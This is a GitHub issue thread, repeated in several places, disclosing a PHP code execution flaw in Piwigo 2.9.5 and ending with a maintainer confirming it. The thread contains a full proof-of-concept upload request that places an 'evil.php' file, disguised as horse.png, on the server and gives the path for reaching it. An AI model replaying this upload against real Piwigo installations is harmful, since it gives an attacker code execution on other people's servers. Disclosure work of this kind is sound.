Hi,I found a php code execution vulnerability at piwigo latest version 2.9.5
Step:
When login as admin, add photo as below:
use "burp" to change the request :
POST /Piwigo/ws.php?method=pwg.images.upload&format=json HTTP/1.1
Host: 10.211.55.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: /
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------162272654122640882111580551
Content-Length: 938
Connection: close
Referer: http://10.211.55.8/Piwigo/admin.php?page=photos_add
Cookie: pwg_display_thumbnail=no_display_thumbnail; pwg_id=3qttgdqnrnql1jgtqitni2vh51; Hm_lvt_12fc28a048b3367aa46f20380b6678ff=1566047983; lang=gb; __atuvc=2%7C34; cms.locale=en; ip_session=k390r5v8ev6gu538v5km3dg52n6ba914
Are you sure this is not because $conf['upload_form_all_types'] has been enabled? On a default Piwigo 2.9.5 install I get no PHP file upload allowed.
Are you sure this is not because $conf['upload_form_all_types'] has been enabled? On a default Piwigo 2.9.5 install I get no PHP file upload allowed.
<!-- github-comment-id:530799709 -->
Yes ,I have uploaded the evil php file and can access it.You can send the post request with what I submit.Change the cookie as yours.
POST /Piwigo/ws.php?method=pwg.images.upload&format=json HTTP/1.1
Host: 10.211.55.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: /
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------162272654122640882111580551
Content-Length: 938
Connection: close
Referer: http://10.211.55.8/Piwigo/admin.php?page=photos_add
Cookie: pwg_display_thumbnail=no_display_thumbnail; pwg_id=3qttgdqnrnql1jgtqitni2vh51; Hm_lvt_12fc28a048b3367aa46f20380b6678ff=1566047983; lang=gb; __atuvc=2%7C34; cms.locale=en; ip_session=k390r5v8ev6gu538v5km3dg52n6ba914
-----------------------------162272654122640882111580551
Content-Disposition: form-data; name="name"
Can you pls upload your Piwigo config file? Make sure to remove any sensitive information first.
I ask because I am wondering if $conf['upload_form_all_types'] has been set to allow php file types to be uploaded.
Hi,
Can you pls upload your Piwigo config file? Make sure to remove any sensitive information first.
I ask because I am wondering if $conf['upload_form_all_types'] has been set to allow php file types to be uploaded.
<!-- github-comment-id:531767568 -->
config_default.inc.php.zip
Is this file "config_default.inc.php" what you want?
And you can represent this vulnerability by post request as what I submit: poc.txt
the "evil.php" can be upload at "piwigo\upload\buffer\evil.php"
[config_default.inc.php.zip](https://github.com/Piwigo/Piwigo/files/3618901/config_default.inc.php.zip)
Is this file "config_default.inc.php" what you want?
And you can represent this vulnerability by post request as what I submit:

[poc.txt](https://github.com/Piwigo/Piwigo/files/3618917/poc.txt)
the "evil.php" can be upload at "piwigo\upload\buffer\evil.php"
<!-- github-comment-id:532027207 -->
yes,but the php file has been uploaded to "piwigo/upload/buffer/evil.php" ,or you can visit the url:http://x.x.x.x/piwigo/upload/buffer/evil.php
<!-- github-comment-id:532034905 -->
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
Hi,I found a php code execution vulnerability at piwigo latest version 2.9.5
Step:
use "burp" to change the request :
POST /Piwigo/ws.php?method=pwg.images.upload&format=json HTTP/1.1
Host: 10.211.55.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: /
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------162272654122640882111580551
Content-Length: 938
Connection: close
Referer: http://10.211.55.8/Piwigo/admin.php?page=photos_add
Cookie: pwg_display_thumbnail=no_display_thumbnail; pwg_id=3qttgdqnrnql1jgtqitni2vh51; Hm_lvt_12fc28a048b3367aa46f20380b6678ff=1566047983; lang=gb; __atuvc=2%7C34; cms.locale=en; ip_session=k390r5v8ev6gu538v5km3dg52n6ba914
-----------------------------162272654122640882111580551
Content-Disposition: form-data; name="name"
evil.php
-----------------------------162272654122640882111580551
Content-Disposition: form-data; name="chunk"
0
-----------------------------162272654122640882111580551
Content-Disposition: form-data; name="chunks"
1
-----------------------------162272654122640882111580551
Content-Disposition: form-data; name="category"
1
-----------------------------162272654122640882111580551
Content-Disposition: form-data; name="level"
0
-----------------------------162272654122640882111580551
Content-Disposition: form-data; name="pwg_token"
94240d512ee6c3e37373340e82002982
<?php eval(phpinfo()); ?>-----------------------------162272654122640882111580551
Content-Disposition: form-data; name="file"; filename="horse.png"
Content-Type: image/png
-----------------------------162272654122640882111580551--
the "evil.php" can be upload at "piwigo\upload\buffer\evil.php"

2. visit the evil file via http://10.211.55.8/Piwigo/upload/buffer/evil.php
Are you sure this is not because $conf['upload_form_all_types'] has been enabled? On a default Piwigo 2.9.5 install I get no PHP file upload allowed.
Yes ,I have uploaded the evil php file and can access it.You can send the post request with what I submit.Change the cookie as yours.
POST /Piwigo/ws.php?method=pwg.images.upload&format=json HTTP/1.1
Host: 10.211.55.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: /
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------162272654122640882111580551
Content-Length: 938
Connection: close
Referer: http://10.211.55.8/Piwigo/admin.php?page=photos_add
Cookie: pwg_display_thumbnail=no_display_thumbnail; pwg_id=3qttgdqnrnql1jgtqitni2vh51; Hm_lvt_12fc28a048b3367aa46f20380b6678ff=1566047983; lang=gb; __atuvc=2%7C34; cms.locale=en; ip_session=k390r5v8ev6gu538v5km3dg52n6ba914
-----------------------------162272654122640882111580551
Content-Disposition: form-data; name="name"
evil.php
-----------------------------162272654122640882111580551
Content-Disposition: form-data; name="chunk"
0
-----------------------------162272654122640882111580551
Content-Disposition: form-data; name="chunks"
1
-----------------------------162272654122640882111580551
Content-Disposition: form-data; name="category"
1
-----------------------------162272654122640882111580551
Content-Disposition: form-data; name="level"
0
-----------------------------162272654122640882111580551
Content-Disposition: form-data; name="pwg_token"
94240d512ee6c3e37373340e82002982
-----------------------------162272654122640882111580551
Content-Disposition: form-data; name="file"; filename="horse.png"
Content-Type: image/png
-----------------------------162272654122640882111580551--
the "evil.php" can be upload at "piwigo\upload\buffer\evil.php"
Hi,
Can you pls upload your Piwigo config file? Make sure to remove any sensitive information first.
I ask because I am wondering if $conf['upload_form_all_types'] has been set to allow php file types to be uploaded.
config_default.inc.php.zip

Is this file "config_default.inc.php" what you want?
And you can represent this vulnerability by post request as what I submit:
poc.txt
the "evil.php" can be upload at "piwigo\upload\buffer\evil.php"
yes,but the php file has been uploaded to "piwigo/upload/buffer/evil.php" ,or you can visit the url:http://x.x.x.x/piwigo/upload/buffer/evil.php
I see what you mean now. You are correct. This is definitely PHP code execution.